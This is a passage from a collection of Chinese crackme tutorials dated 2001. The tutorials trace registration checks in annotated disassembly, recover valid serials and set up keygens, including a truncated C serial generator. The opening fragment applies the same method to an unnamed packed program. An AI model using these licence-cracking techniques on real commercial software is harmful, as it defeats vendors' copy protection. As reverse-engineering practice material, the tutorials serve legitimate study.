0167:004F4DEC JNZ 004F4E64 跳过去就完蛋！
0167:004F4DEE MOV DL,01
0167:004F4DF0 MOV EAX,[00452558]
0167:004F4DF5 CALL 00452658
0167:004F4DFA MOV [EBP-04],EAX
0167:004F4DFD XOR EAX,EAX
0167:004F4DFF PUSH EBP
0167:004F4E00 PUSH DWORD 004F4E5D
0167:004F4E05 PUSH DWORD [FS:EAX]
0167:004F4E08 MOV [FS:EAX],ESP
0167:004F4E0B MOV CL,01
0167:004F4E0D MOV EDX,004F4EA8
0167:004F4E12 MOV EAX,[EBP-04]

按F10走到004F4DE7处，用F8跟进，看到如下代码：
0167:00404119 LEA EAX,[EAX+00]
0167:0040411C PUSH EBX 这里可以看到真的注册码
0167:0040411D PUSH ESI
0167:0040411E PUSH EDI
0167:0040411F MOV ESI,EAX
0167:00404121 MOV EDI,EDX
0167:00404123 CMP EAX,EDX
0167:00404125 JZ NEAR 004041BA
0167:0040412B TEST ESI,ESI
0167:0040412D JZ 00404197
0167:0040412F TEST EDI,EDI
0167:00404131 JZ 0040419E
0167:00404133 MOV EAX,[ESI-04]
0167:00404136 MOV EDX,[EDI-04]
0167:00404139 SUB EAX,EDX

在0040411c处，下命令：d edx 会看到真正的注册码，下命令：d eax 会看到我刚才输入的假注册码。

好了，到了最后一步，来个注册机玩（谁让我看你不顺眼，让你永世不得翻身！）。请出keymake，选择另类注册机，添法如下：

第一个地址：

中断地址：4F4DE7
中断次数：1
第一字节：E8
指令长度：5

第二个地址：

中断地址：40411C
中断次数：1
第一字节：53
指令长度：1

终于结束战斗啦，对啦，这个东东可是加了壳的哦，别忘了选上"经过加壳"呀！

E-mail:crackYY@hotmail.com

oicq:20651482


Fpc的crackme

 标 题:Fpc大哥crackme的破解。 (4千字)
发信人:S.M
时 间:2001-9-22 16:29:30
详细信息:
[作者：S.M]

这是Fpc大哥主页上新的crackme，我来捧个场！

用softice。下bpx hmemcpy.来到以下的地方：

0040181A CMP EBX, 00000014 ---比较注册码的个数（应为20个）
所以填:1234567890asdfghjklp
0040181D JE 00401845

* Referenced by a (U)nconditional or (C)onditional Jumo at
Address:
|:0040181D

00401845 lea esi, dword ptr [ebp-60]

* Referenced by a (U)nconditional or (C)onditional Jumo at
Address:
|:004018CB

00401848 push esi ---将姓名放入堆栈
00401849 xor eax, eax
0040184B mov esi, dword ptr [ebp-38]
0040184E add esi, dword ptr [ebp-40]
00401851 lea edi, dword ptr [ebp-74]
00401854 xor ebx, ebx
00401856 xor ecx, ecx ---清零，准备记数。

* Referenced by a (U)nconditional or (C)onditional Jumo at
Address:
|:00401891

00401858 cmp ecx, 00000044 ---68次循环？(好多呀!)
0040185B ja 00401893
....
....
....
00401861 push ebx
00401862 mov eax, ecx
00401864 push 00000004 \
00401866 pop ebx / ebx==4
....
00401868 idiv ebx 有符号除
0040186A test edx, edx
0040186c jge 00401870 余数大于等于0时跳
0040186E not edx

* Referenced by a (U)nconditional or (C)onditional Jumo at
Address:
|:0040186C

00401870 push edx
00401871 mov eax, ecx
00401873 push 000000011 \
00401875 pop ebx / ebx==11;
....
00401877 idiv ebx
00401879 test edx, edx
0040187b jge 0040187F
0040187d not edx

* Referenced by a (U)nconditional or (C)onditional Jumo at
Address:
|:0040187b

0040187F mov eax, edx
00401881 pop edx
00401882 mov dl, byte ptr [edi+edx] ----假注册码
00401885 mov al, byte ptr [esi+eax]
----- (Who is the Devil?)
00401888 xor al, bl 按位加。
0040188A pop ebx
0040188b rol ebx, 5 ---右移5位
00401890 inc ecx
00401891 jmp 00401858

* Referenced by a (U)nconditional or (C)onditional Jumo at
Address:
|:0040185b

00401893 xor ecx, ecx
00401895 pop esi
00401896 lea edi, dword ptr [ebp+FFFFFF68]

* Referenced by a (U)nconditional or (C)onditional Jumo at Address:
|:004018C2

0040189C mov eax, ebx
0040189E push 000000020 \
004018A0 pop ebx /ebx==20
....
004018A2 idiv ebx
004018A4 test edx, edx
004018A6 jge 004018AA
004018A8 not edx

* Referenced by a (U)nconditional or (C)onditional Jumo at
Address:
|:004018A6

004018AA mov edx, eax
004018AC mov dl, byte ptr [edi+edx]
004018AF mov al, byte ptr [esi+ecx]
004018B2 test al, al
004018B4 je 004018d5 ---移完跳出循环
....
....
....
....
004018BA cmp al, dl ---一位一位比较姓名。
004018BC jne 004018D0 --不对就跳。
004018BE inc ecx --ecx加一
004018BF cmp ecx, 00000003
004018C2 jl 0040189C ----3个为一组循环比较
004018C4 add edi, 00000003
004018C7 add dword ptr [ebp-40],00000004
004018CB jmp 00401848

随意填了姓名：SMSMSMSM.在004018BA比较处下？dl。即为注册码。
得姓名：MQDRBHLJT 注册码：123456789asdfghjklp
关了程序，再打开。重新填入，准备欣赏一下，结果提示错误。
不会吧！这也会错。重新跟踪，发现MQDRBH部分不变，看来后面的部分
是随机的。

填MQDRBH.成功！！！！Fpc大哥做了一个小小的陷阱！^__^

Fpc大哥加我吧。QQ:5537188


Nullz CrackMe 1.1

 标 题:Nullz CrackMe 1.1破解过程 (13千字)
发信人:eighth
时 间:2001-9-18 10:40:02
详细信息:
软件名称：Nullz CrackMe 1.1
下载地址：http://go6.163.com/ddxia/crackme/Nullz_crackMe1.1.zip
特点：共分五个小过程，难度逐级递增。

使用工具：TRW2000

我是刚学不久，平时也没太多时间练习，没写过过程，所以不足之处还请多多包涵啊!
好了，废话少说，我们开始吧！！（广告词？……）

1.非常简单 (only Reg.Key)

bpx hmemcpy
pmodule 就到了下面的地方了

:004019D8 E801120000 Call 00402BDE
:004019DD 8D542410 lea edx, dword ptr [esp+10]
:004019E1 8D44242C lea eax, dword ptr [esp+2C]
:004019E5 52 push edx //注册码
:004019E6 50 push eax //你输入的假码

* Reference To: KERNEL32.lstrcmpA, Ord:0295h
|
:004019E7 FF1508404000 Call dword ptr [00404008] //比较函数
:004019ED 85C0 test eax, eax
:004019EF 755A jne 00401A4B //跳走就错
:004019F1 6870434000 push 00404370
:004019F6 8D4C2410 lea ecx, dword ptr [esp+10]

Reg.Key是个字符串常量：qJT62aWfviq0P57JGs2FelQkX

2.简单 (User Name & Reg.Key)

还是bpx hmemcpy,pmodule.

* Reference To: MFC42.Ordinal:0C1A, Ord:0C1Ah
|
:00401AF2 E8E7100000 Call 00402BDE
:00401AF7 8D542414 lea edx, dword ptr [esp+14]
:00401AFB 52 push edx //User Name

* Reference To: KERNEL32.lstrlenA, Ord:02A1h
|
:00401AFC FF1500404000 Call dword ptr [00404000] //取字符串长度
:00401B02 8BF0 mov esi, eax
:00401B04 83FE05 cmp esi, 00000005 //User Name长度至少是5
:00401B07 7311 jnb 00401B1A
:00401B09 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"CrackMe"
|
:00401B0B 6804514000 push 00405104

* Possible StringData Ref from Data Obj ->"User Name must have at least 5 "
->"characters."
|
:00401B10 68D8504000 push 004050D8
:00401B15 E9BA000000 jmp 00401BD4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B07(C)
|
:00401B1A B801000000 mov eax, 00000001
:00401B1F 33FF xor edi, edi
:00401B21 3BF0 cmp esi, eax
:00401B23 7211 jb 00401B36

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B34(C)
|
:00401B25 0FBE4C0414 movsx ecx, byte ptr [esp+eax+14] //注册码算法开始
:00401B2A 03CF add ecx, edi
:00401B2C 0FAFC8 imul ecx, eax
:00401B2F 40 inc eax
:00401B30 8BF9 mov edi, ecx
:00401B32 3BC6 cmp eax, esi
:00401B34 76EF jbe 00401B25

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B23(C)
|
:00401B36 33C9 xor ecx, ecx
:00401B38 85F6 test esi, esi
:00401B3A 7620 jbe 00401B5C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B5A(C)
|
:00401B3C 0FBE6C0C14 movsx ebp, byte ptr [esp+ecx+14]
:00401B41 8BC7 mov eax, edi
:00401B43 33D2 xor edx, edx
:00401B45 F7F5 div ebp
:00401B47 33D2 xor edx, edx
:00401B49 BD0A000000 mov ebp, 0000000A
:00401B4E F7F5 div ebp
:00401B50 80C230 add dl, 30
:00401B53 88540C48 mov byte ptr [esp+ecx+48], dl
:00401B57 41 inc ecx
:00401B58 3BCE cmp ecx, esi
:00401B5A 72E0 jb 00401B3C //注册码算法结束

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401B3A(C)
|
:00401B5C 8D542448 lea edx, dword ptr [esp+48]
:00401B60 8D44247C lea eax, dword ptr [esp+7C]
:00401B64 52 push edx //注册码
:00401B65 50 push eax //你输入的Reg.Key

* Reference To: KERNEL32.lstrcmpA, Ord:0295h
|
:00401B66 FF1508404000 Call dword ptr [00404008] //比较函数
:00401B6C 85C0 test eax, eax
:00401B6E 7550 jne 00401BC0 //不同跳走
:00401B70 6870434000 push 00404370
:00401B75 8D4C2414 lea ecx, dword ptr [esp+14]

我的注册码： User Name: eighth
Reg.Key : 252303

3.一般简单 （User Name & Reg.Key）

老一套bpx hmemcpy,pmodule.

* Reference To: MFC42.Ordinal:0C19, Ord:0C19h
|
:00401C7E E8670F0000 Call 00402BEA
:00401C83 8B6C2418 mov ebp, dword ptr [esp+18] //User Name
:00401C87 8B55F8 mov edx, dword ptr [ebp-08] //User Name长度
:00401C8A 83FA05 cmp edx, 00000005
:00401C8D 7D11 jge 00401CA0 //长度不小于5
:00401C8F 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"CrackMe"
|
:00401C91 6804514000 push 00405104

* Possible StringData Ref from Data Obj ->"User Name must have at least 5 "
->"characters."
|
:00401C96 68D8504000 push 004050D8
:00401C9B E9E2000000 jmp 00401D82

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401C8D(C)
|
:00401CA0 33C0 xor eax, eax
:00401CA2 3BD3 cmp edx, ebx
:00401CA4 7E3C jle 00401CE2
:00401CA6 B901000000 mov ecx, 00000001
:00401CAB 33FF xor edi, edi
:00401CAD 2BCD sub ecx, ebp
:00401CAF 894C241C mov dword ptr [esp+1C], ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401CDA(C)
|
:00401CB3 0FBE5C0500 movsx ebx, byte ptr [ebp+eax] //注册码算法开始
:00401CB8 8D4C0500 lea ecx, dword ptr [ebp+eax]
:00401CBC 03F3 add esi, ebx
:00401CBE 8BD8 mov ebx, eax
:00401CC0 C1E308 shl ebx, 08
:00401CC3 33F3 xor esi, ebx
:00401CC5 8B5C241C mov ebx, dword ptr [esp+1C]
:00401CC9 03D9 add ebx, ecx
:00401CCB 8BCF mov ecx, edi
:00401CCD 0FAFF3 imul esi, ebx
:00401CD0 F7D1 not ecx
:00401CD2 0FAFF1 imul esi, ecx
:00401CD5 40 inc eax
:00401CD6 03FA add edi, edx
:00401CD8 3BC2 cmp eax, edx
:00401CDA 7CD7 jl 00401CB3 //注册码算法结束
:00401CDC 8B7C2420 mov edi, dword ptr [esp+20]
:00401CE0 33DB xor ebx, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401CA4(C)
|
:00401CE2 56 push esi
:00401CE3 8D542414 lea edx, dword ptr [esp+14]

* Possible StringData Ref from Data Obj ->"%lu"
|
:00401CE7 682C514000 push 0040512C
:00401CEC 52 push edx

* Reference To: MFC42.Ordinal:0B02, Ord:0B02h
|
:00401CED E8F20E0000 Call 00402BE4
:00401CF2 8B74241C mov esi, dword ptr [esp+1C] //真码
:00401CF6 8B442420 mov eax, dword ptr [esp+20] //假码
:00401CFA 83C40C add esp, 0000000C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401D1B(C)
|
:00401CFD 8A10 mov dl, byte ptr [eax] //逐位比较，真搞不懂，多此一举嘛！？
:00401CFF 8ACA mov cl, dl
:00401D01 3A16 cmp dl, byte ptr [esi]
:00401D03 751C jne 00401D21
:00401D05 3ACB cmp cl, bl
:00401D07 7414 je 00401D1D
:00401D09 8A5001 mov dl, byte ptr [eax+01]
:00401D0C 8ACA mov cl, dl
:00401D0E 3A5601 cmp dl, byte ptr [esi+01]
:00401D11 750E jne 00401D21
:00401D13 83C002 add eax, 00000002
:00401D16 83C602 add esi, 00000002
:00401D19 3ACB cmp cl, bl
:00401D1B 75E0 jne 00401CFD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401D07(C)
|
:00401D1D 33C0 xor eax, eax
:00401D1F EB05 jmp 00401D26

我的注册码： User Name: eighth
Reg.Key : 2990909536

4.一般吧 （User Name,Company & Reg.Key）

不过Company好像没用到啊！？
管它呢，bpx hmemcpy，pmodule再说。

* Reference To: MFC42.Ordinal:0C19, Ord:0C19h
|
:00401E43 E8A20D0000 Call 00402BEA
:00401E48 8D542414 lea edx, dword ptr [esp+14]
:00401E4C 8BCD mov ecx, ebp
:00401E4E 52 push edx
:00401E4F 68ED030000 push 000003ED

* Reference To: MFC42.Ordinal:0C19, Ord:0C19h
|
:00401E54 E8910D0000 Call 00402BEA
:00401E59 8B442410 mov eax, dword ptr [esp+10] //User Name
:00401E5D 8B40F8 mov eax, dword ptr [eax-08]
:00401E60 83F805 cmp eax, 00000005
:00401E63 0F8CCD000000 jl 00401F36 //长度不小于5且不大于100
:00401E69 3D00010000 cmp eax, 00000100
:00401E6E 0F8FC2000000 jg 00401F36
:00401E74 8B4C2414 mov ecx, dword ptr [esp+14]
:00401E78 3959F8 cmp dword ptr [ecx-08], ebx
:00401E7B 0F84C8000000 je 00401F49
:00401E81 8D542418 lea edx, dword ptr [esp+18]
:00401E85 8D4C241C lea ecx, dword ptr [esp+1C]
:00401E89 52 push edx
:00401E8A 51 push ecx
:00401E8B 8D542418 lea edx, dword ptr [esp+18]
:00401E8F 50 push eax
:00401E90 52 push edx
:00401E91 8BCD mov ecx, ebp
:00401E93 E8B8010000 call 00402050 //计算注册码的call,很简单，你要是有时间可以
:00401E98 8B442418 mov eax, dword ptr [esp+18] //自己算一算啊。
:00401E9C 8B4C241C mov ecx, dword ptr [esp+1C]
:00401EA0 50 push eax
:00401EA1 51 push ecx
:00401EA2 8D542428 lea edx, dword ptr [esp+28]

* Possible StringData Ref from Data Obj ->"%lu-%X"
|
:00401EA6 6880514000 push 00405180
:00401EAB 52 push edx

* Reference To: USER32.wsprintfA, Ord:0264h
|
:00401EAC FF155C424000 Call dword ptr [0040425C]
:00401EB2 83C410 add esp, 00000010
:00401EB5 8D442420 lea eax, dword ptr [esp+20]
:00401EB9 50 push eax

* Reference To: KERNEL32.lstrlenA, Ord:02A1h
|
:00401EBA FF1500404000 Call dword ptr [00404000]
:00401EC0 8D4C2414 lea ecx, dword ptr [esp+14]
:00401EC4 8BF8 mov edi, eax

* Reference To: MFC42.Ordinal:106B, Ord:106Bh
|
:00401EC6 E8250D0000 Call 00402BF0
:00401ECB 8B442414 mov eax, dword ptr [esp+14] //这里你可以看到真码和假码
:00401ECF 8D542420 lea edx, dword ptr [esp+20] //不过不能直接使用，看下边
:00401ED3 8B48F8 mov ecx, dword ptr [eax-08]
:00401ED6 2BC2 sub eax, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401EF0(C)
|
:00401ED8 3BF1 cmp esi, ecx //这里往下是注册码的比较！
:00401EDA 7D0D jge 00401EE9
:00401EDC 8D543420 lea edx, dword ptr [esp+esi+20]
:00401EE0 8A1402 mov dl, byte ptr [edx+eax]
:00401EE3 3A543420 cmp dl, byte ptr [esp+esi+20] //注意：这是一个逆序的比较
:00401EE7 7509 jne 00401EF2 //也就是说，上面得到的的注
//册码要反过来写，呵呵！
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401EDA(C)
|
:00401EE9 8A543421 mov dl, byte ptr [esp+esi+21]
:00401EED 46 inc esi
:00401EEE 3AD3 cmp dl, bl
:00401EF0 7FE6 jg 00401ED8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401EE7(C)
|
:00401EF2 2BF7 sub esi, edi
:00401EF4 752A jne 00401F20
:00401EF6 6870434000 push 00404370
:00401EFB 8D4C2414 lea ecx, dword ptr [esp+14]

我的注册码： User Name: eighth
Reg.Key : 7235845622

5.有一点难度，不过文章太长了就没法看了，所以现在请你自己试试吧！呵呵 :)
注意一下以下四个跳转就可以了：00402733，00402742，00402751，004027F8.

6.作者还没写出来，我也没有办法啊！:-(

第一次写过程，让大家见笑了，还请多多批评指正。另外这个CrackMe的算法非常简单，
初初哥可以用它练习一下写注册机，可以信心倍增啊！初哥我就懒得写了，呵呵！


crackme

 标 题:菜鸟破解一篇：vcrkme01 (11千字)
发信人:未注册
时 间:2001-10-19 15:42:06
详细信息:
一个crackme的破解
作者：未注册

下载：http://person.longcity.net/home3/fpxfpx/crackme/u-x/vcrkme01.zip

看了教程，找一个crackme来练手。

这个简单，适合我等菜鸟选手，用trw一路跟过来，就能注册。用unregistered来注册，注册码20012001

* Reference To: USER32.GetDlgItemTextA, Ord:0104h
|
:0040121D 8B35C0504000 mov esi, dword ptr [004050C0]
:00401223 68FF000000 push 000000FF
:00401228 6830694000 push 00406930
:0040122D 68E8030000 push 000003E8
:00401232 50 push eax
:00401233 FFD6 call esi ;读unregistered
:00401235 8B0D28694000 mov ecx, dword ptr [00406928]
:0040123B 68FF000000 push 000000FF
:00401240 68306A4000 push 00406A30
:00401245 68EA030000 push 000003EA
:0040124A 51 push ecx
:0040124B FFD6 call esi ;读20012001
:0040124D 68306A4000 push 00406A30
:00401252 6830694000 push 00406930
:00401257 E8A4FDFFFF call 00401000 ;计算验证注册码
:0040125C 83C408 add esp, 00000008
:0040125F 83F801 cmp eax, 00000001 ;eax应该是1，不是1就失败，没有失败提示
:00401262 A3646C4000 mov dword ptr [00406C64], eax
:00401267 7565 jne 004012CE
:00401269 8B1528694000 mov edx, dword ptr [00406928]
:0040126F 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"GOOD JOB! - CRACKED!"
|
:00401271 6880604000 push 00406080

* Possible StringData Ref from Data Obj ->"Send your solution to : v0id2k1@hotmail.com "
|
:00401276 6850604000 push 00406050
:0040127B 52 push edx

* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:0040127C FF15C4504000 Call dword ptr [004050C4]
:00401282 B801000000 mov eax, 00000001
:00401287 5E pop esi
:00401288 C21000 ret 0010

注册码这样计算：

+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object .text **************
Program Entry Point = 0040147E (vcrkme01.exe File Offset:0000647E)

:00401000 53 push ebx
:00401001 8B5C240C mov ebx, dword ptr [esp+0C]
:00401005 55 push ebp
:00401006 56 push esi
:00401007 8B742410 mov esi, dword ptr [esp+10]
:0040100B 8A0B mov cl, byte ptr [ebx] ;取注册码第一位

:0040100D 33ED xor ebp, ebp ;ebp=0

:0040100F 57 push edi
:00401010 8A06 mov al, byte ptr [esi] ;取姓名第一位
:00401012 3AC1 cmp al, cl ;比较，不一致失败
:00401014 0F8569010000 jne 00401183

:0040101A 8BFE mov edi, esi
:0040101C 83C9FF or ecx, FFFFFFFF
:0040101F 33C0 xor eax, eax
:00401021 F2 repnz
:00401022 AE scasb
:00401023 F7D1 not ecx
:00401025 49 dec ecx
:00401026 83F905 cmp ecx, 00000005 ;姓名不能少于5个字母
:00401029 0F8254010000 jb 00401183

:0040102F 807B012D cmp byte ptr [ebx+01], 2D ;注册码第二位要是‘-’
:00401033 0F854A010000 jne 00401183

:00401039 8BFE mov edi, esi
:0040103B 83C9FF or ecx, FFFFFFFF
:0040103E 33C0 xor eax, eax
:00401040 33D2 xor edx, edx
:00401042 F2 repnz
:00401043 AE scasb
:00401044 F7D1 not ecx
:00401046 49 dec ecx
:00401047 7417 je 00401060

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040105E(C)
|
:00401049 0FBE0C32 movsx ecx, byte ptr [edx+esi]
:0040104D 03E9 add ebp, ecx ;累加unregsitered到ebp
:0040104F 8BFE mov edi, esi
:00401051 83C9FF or ecx, FFFFFFFF
:00401054 33C0 xor eax, eax
:00401056 42 inc edx
:00401057 F2 repnz
:00401058 AE scasb
:00401059 F7D1 not ecx
:0040105B 49 dec ecx
:0040105C 3BD1 cmp edx, ecx
:0040105E 72E9 jb 00401049

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401047(C)
|
:00401060 81C564600000 add ebp, 00006064 ;ebp=ebp+6064h=06575h
:00401066 55 push ebp

* Possible StringData Ref from Data Obj ->"%lu"
|
:00401067 6834604000 push 00406034
:0040106C 68306B4000 push 00406B30 ;变成字符串25973(06575h=25973)，到这里
:00401071 E8B6030000 call 0040142C

:00401076 8A16 mov dl, byte ptr [esi]
:00401078 8BFE mov edi, esi
:0040107A 83C9FF or ecx, FFFFFFFF
:0040107D 33C0 xor eax, eax

:0040107F 8815446B4000 mov byte ptr [00406B44], dl ;[406b44]=u
:00401085 C605456B40002D mov byte ptr [00406B45], 2D ;[406b45]=-
:0040108C F2 repnz
:0040108D AE scasb
:0040108E F7D1 not ecx
:00401090 49 dec ecx

:00401091 0FBE4431FF movsx eax, byte ptr [ecx+esi-01] ;取最后一个字母d
:00401096 50 push eax
:00401097 E8C4020000 call 00401360 ;变换为大写
:0040109C A2466B4000 mov byte ptr [00406B46], al ;[406b46]=D
:004010A1 BF306B4000 mov edi, 00406B30
:004010A6 83C9FF or ecx, FFFFFFFF
:004010A9 33C0 xor eax, eax
:004010AB F2 repnz
:004010AC AE scasb
:004010AD F7D1 not ecx
:004010AF 2BF9 sub edi, ecx

:004010B1 81C564600000 add ebp, 00006064 ;ebp=6575h+6064h=50649

:004010B7 8BF7 mov esi, edi
:004010B9 8BD1 mov edx, ecx
:004010BB BF446B4000 mov edi, 00406B44
:004010C0 83C9FF or ecx, FFFFFFFF
:004010C3 F2 repnz
:004010C4 AE scasb
:004010C5 8BCA mov ecx, edx
:004010C7 4F dec edi
:004010C8 C1E902 shr ecx, 02
:004010CB F3 repz
:004010CC A5 movsd
:004010CD 8BCA mov ecx, edx
:004010CF 55 push ebp
:004010D0 83E103 and ecx, 00000003

* Possible StringData Ref from Data Obj ->"%lu"
|
:004010D3 6834604000 push 00406034
:004010D8 F3 repz
:004010D9 A4 movsb

* Possible StringData Ref from Data Obj ->"--"
|
:004010DA BF30604000 mov edi, 00406030
:004010DF 83C9FF or ecx, FFFFFFFF
:004010E2 F2 repnz
:004010E3 AE scasb
:004010E4 F7D1 not ecx
:004010E6 2BF9 sub edi, ecx
:004010E8 68306B4000 push 00406B30
:004010ED 8BF7 mov esi, edi
:004010EF 8BD1 mov edx, ecx
:004010F1 BF446B4000 mov edi, 00406B44
:004010F6 83C9FF or ecx, FFFFFFFF
:004010F9 F2 repnz
:004010FA AE scasb
:004010FB 8BCA mov ecx, edx
:004010FD 4F dec edi
:004010FE C1E902 shr ecx, 02
:00401101 F3 repz
:00401102 A5 movsd
:00401103 8BCA mov ecx, edx
:00401105 83E103 and ecx, 00000003
:00401108 F3 repz
:00401109 A4 movsb
:0040110A E81D030000 call 0040142C ;50649变成字符串到406b30

:0040110F BF306B4000 mov edi, 00406B30
:00401114 83C9FF or ecx, FFFFFFFF
:00401117 33C0 xor eax, eax
:00401119 83C41C add esp, 0000001C
:0040111C F2 repnz
:0040111D AE scasb
:0040111E F7D1 not ecx
:00401120 2BF9 sub edi, ecx
:00401122 8BF7 mov esi, edi
:00401124 8BD1 mov edx, ecx
:00401126 BF446B4000 mov edi, 00406B44
:0040112B 83C9FF or ecx, FFFFFFFF
:0040112E F2 repnz
:0040112F AE scasb
:00401130 8BCA mov ecx, edx
:00401132 4F dec edi
:00401133 C1E902 shr ecx, 02
:00401136 F3 repz
:00401137 A5 movsd
:00401138 8BCA mov ecx, edx
:0040113A 8BC3 mov eax, ebx
:0040113C 83E103 and ecx, 00000003
:0040113F F3 repz
:00401140 A4 movsb

:00401141 BE446B4000 mov esi, 00406B44 ;现在esi=u-D25973-5064

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401168(C)
|
:00401146 8A10 mov dl, byte ptr [eax] ;eax=20012001,比较
:00401148 8A1E mov bl, byte ptr [esi]
:0040114A 8ACA mov cl, dl
:0040114C 3AD3 cmp dl, bl
:0040114E 7525 jne 00401175
:00401150 84C9 test cl, cl
:00401152 7416 je 0040116A
:00401154 8A5001 mov dl, byte ptr [eax+01]
:00401157 8A5E01 mov bl, byte ptr [esi+01]
:0040115A 8ACA mov cl, dl
:0040115C 3AD3 cmp dl, bl
:0040115E 7515 jne 00401175
:00401160 83C002 add eax, 00000002
:00401163 83C602 add esi, 00000002
:00401166 84C9 test cl, cl
:00401168 75DC jne 00401146

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401152(C)
|
:0040116A 33C0 xor eax, eax
:0040116C 33D2 xor edx, edx
:0040116E 85C0 test eax, eax
:00401170 0F94C2 sete dl
:00401173 EB12 jmp 00401187

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040114E(C), :0040115E(C)
|
:00401175 1BC0 sbb eax, eax
:00401177 83D8FF sbb eax, FFFFFFFF
:0040117A 33D2 xor edx, edx
:0040117C 85C0 test eax, eax
:0040117E 0F94C2 sete dl
:00401181 EB04 jmp 00401187

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401014(C), :00401029(C), :00401033(C)
|
:00401183 8B542414 mov edx, dword ptr [esp+14]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401173(U), :00401181(U)
|
:00401187 B940000000 mov ecx, 00000040
:0040118C 33C0 xor eax, eax
:0040118E BF446B4000 mov edi, 00406B44
:00401193 F3 repz
:00401194 AB stosd
:00401195 5F pop edi
:00401196 5E pop esi
:00401197 5D pop ebp
:00401198 8BC2 mov eax, edx
:0040119A 5B pop ebx
:0040119B C3 ret

正确的注册码是：u-D25973-5064


冷雨飘心crackme2

 标 题:冷雨飘心的第二个crackme的破解方法，大家看看对不对! (5千字)
发信人:赞盛
时 间:2001-10-18 21:19:43
详细信息:
工具：sice4.05,tc2
环境：win98
对象：冷雨飘心的第二个crackme
下载地址:http://person.longcity.net/home3/feeling/crack/files/crkme2.zip

下断点getdlgitemtexta:
0167:0040115C PUSH 32
0167:0040115E PUSH 00403026
0167:00401163 PUSH 000003ED
0167:00401168 PUSH DWORD PTR [EBP+08]
0167:0040116B CALL USER32!GetDlgItemTextA //取得name，放在00403026
0167:00401170 MOV [00403270],EAX //EAX内是name的字符数
0167:00401175 CMP EAX,00 //看name是否为空
0167:00401178 JZ 00401389 //是就报错
0167:0040117E LEA ESI,[00403026]
0167:00401184 CALL 004014B0 //对输入的name加工。加工结果放在004030DB
0167:00401189 MOV EAX,[004030DB]
0167:0040118E MOV EDX,[004030DF]
0167:00401194 PUSH 004031BB
0167:00401199 PUSH 32
0167:0040119B PUSH 0D
0167:0040119D PUSH DWORD PTR [00403494]
0167:004011A3 CALL USER32!SendMessageA //取得serial,放在004031bb
0167:004011A8 OR EAX,EAX //看serial是否为空
0167:004011AA JZ 00401389 //是就报错
0167:004011B0 LEA ESI,[004031BB]
0167:004011B6 MOV DWORD PTR [ESI+EAX],00000000
0167:004011BD PUSH ESI
0167:004011BE POP EDI
0167:004011BF MOV AL,10
0167:004011C1 ADD AL,1D
0167:004011C3 MOV ECX,EAX
0167:004011C5 REPNZ SCASB //看serial内是否有"-"
0167:004011C7 JNZ 0040129 //没有就说serial格式不对
0167:004011CD MOV EAX,[ESI] //取serial前4个字节
0167:004011CF XOR EAX,4743435F //看是否为"_CCG"。"_CCG"的ASCII码为5F434347
0167:004011D4 JNZ 004012A4 //不是就报错
0167:004011DA LEA ESI,[004031BB]
0167:004011E0 ADD ESI,05 //取serial第5个字节以后的数据
0167:004011E3 CALL 0040172F //检查serial是否符合要求。必须有8个字节，
//内容只能是0-9和A-F，转换为16进制字符串。
//比如我输入的是_CCG-00000001-00000002,
//转换成0x00000001
0167:004011E8 XOR EAX,-01 //输入的还不能全为0否则也报错
0167:004011EB JZ 004012A4
0167:004011F1 XOR EAX,-01
0167:004011F4 MOV [004030E3],EAX
0167:004011F9 LEA ESI,[004031BB]
0167:004011FF ADD ESI,0E //同上，检查00000002
0167:00401202 CALL 0040172F
0167:00401207 XOR EAX,-01
0167:0040120A JZ 004012A4
0167:00401210 XOR EAX,-01
0167:00401213 MOV [004030E7],EAX
0167:00401218 MOV EAX,[004030E3]
0167:0040121D MOV EDX,[004030E7]
0167:00401223 CALL 00401636 //关键部分:通过00000001和00000002混合运算得到两16进制数
//为中间结果
0167:00401228 MOV EAX,[004030EB] //00000001的放在EAX里
0167:0040122D MOV EDX,[004030EF] //00000002的放在EDX里
0167:00401233 XOR EAX,[004030DB] //检查0000001的中间结果是否为[004030DB]，即name加工的结果
0167:00401239 JNZ 004012A4 //不是就报错
0167:0040123B XOR EDX,[004030DF] //检查0000002的中间结果是否为0x656d7568
0167:00401241 JNZ 004012A4 //不是就报错
0167:00401243 JMP 004012BD //注册成功画面

下面是序列号生成程序，在TC2下调试通过。
#include <stdio.h>
#include <dos.h>

unsigned long ESI[] = {
0x6d797468,
0x6d797468,
0x6d797468,
0x6c6f7665,
0x6c6f7665,
0x6c6f7665,
0x6c6f7665,
0x43525950,
0x43525950,
0x43525950,
0x43525950,
0x68656865,
0x68656865,
0x68656865,
0x68656865,
0x476f6f64};

unsigned long ror(unsigned long a, unsigned long b)
{
for(; b > 0; b --)
{
if((a & 0x00000001) == 0x00000001)
{
a = a >> 1;
a = a + 0x80000000;
}
else
a = a >> 1;
}
return a;
}

unsigned long rol(unsigned long a, unsigned long b)
{
for(; b > 0; b --)
{
if((a & 0x80000000) == 0x80000000)
{
a = a << 1;
a = a + 0x00000001;
}
else
a = a << 1;
}
return a;
}

void main()
{

unsigned char name[32], name_length;
unsigned long t = 0, ans = 0;
